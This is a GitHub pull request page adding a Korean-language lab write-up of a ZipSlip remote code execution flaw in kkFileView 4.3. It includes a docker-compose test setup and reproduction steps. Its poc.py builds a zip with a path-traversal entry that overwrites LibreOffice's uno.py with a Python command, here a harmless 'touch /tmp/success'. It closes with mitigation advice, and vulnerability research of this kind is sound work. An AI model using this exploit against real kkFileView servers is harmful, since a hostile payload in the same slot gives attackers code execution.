Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[이민준/s0luschr1stus]: kkFileView ZipSlip Remote Code Execution 분석 코드 및 결과 #168

Open
wants to merge 1 commit into
base: main
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
37 changes: 37 additions & 0 deletions kkfileview/4.3-zipslip-rce/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,37 @@
# kkFileView ZipSlip Remote Code Execution

> [이민준 (@s0luschr1stus)](https://github.com/s0luschr1stus)

<br/>

### 요약

- kkFileView는 오픈소스 온라인 문서 미리보기 솔루션
- 4.3 버전부터 4.4.0-beta 버전에 ZipSlip 취약점 존재
- 임의의 파일을 서버에 올릴 수 있음
- 문서의 미리보기는 LibreOffice에서 제공하는 UNO API 사용
- /opt/libreoffice7.5/program/uno.py 활용
- ZipSlip 취약점을 이용해 uno.py에 공격자가 임의의 파이썬 스크립트를 쓸 수 있음
- 웹페이지에서 문서 미리보기를 시도하면 변조된 uno.py 스크립트 실행

<br/>

### 환경 구성 및 실행

- `docker compose up -d`를 실행하여 테스트 환경을 실행
- `http://your-ip:8012`에 접속하여 테스트 페이지를 확인
- `python poc.py`를 실행하여 `test.zip` 생성
- 테스트 페이지에서 `test.zip`와 `sample.odt` 파일 업로드
- `test.zip` 预览(미리보기) 버튼 클릭 후, `sample.odt` 预览(미리보기) 클릭

<br/>

### 결과

![](result.png)

<br/>

### 정리

이 취약점은 공격자가 ZipSlip 취약점을 이용하여 임의의 스크립트를 업로드 하고 실행시킬 수 있으므로 압축을 풀 때 경로를 검증하거나 프로세스가 파일을 쓸 수 있는 범위를 제한할 수 있도록 권한의 조정함으로 대응할 수 있다.
7 changes: 7 additions & 0 deletions kkfileview/4.3-zipslip-rce/docker-compose.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
version: '2'
services:
web:
image: vulhub/kkfileview:4.3.0
ports:
- "8012:8012"
- "5005:5005"
13 changes: 13 additions & 0 deletions kkfileview/4.3-zipslip-rce/poc.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,13 @@
import zipfile

if __name__ == "__main__":
try:
binary1 = b'kr-vulhub'
binary2 = b"import os\nos.system('touch /tmp/success')\n"
zipFile = zipfile.ZipFile("test.zip", "a", zipfile.ZIP_DEFLATED)
# info = zipfile.ZipInfo("test.zip")
zipFile.writestr("whs", binary1)
zipFile.writestr("../../../../../../../../../../../../../../../../../../../opt/libreoffice7.5/program/uno.py", binary2)
zipFile.close()
except IOError as e:
raise e
Binary file added kkfileview/4.3-zipslip-rce/result.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added kkfileview/4.3-zipslip-rce/sample.odt
Binary file not shown.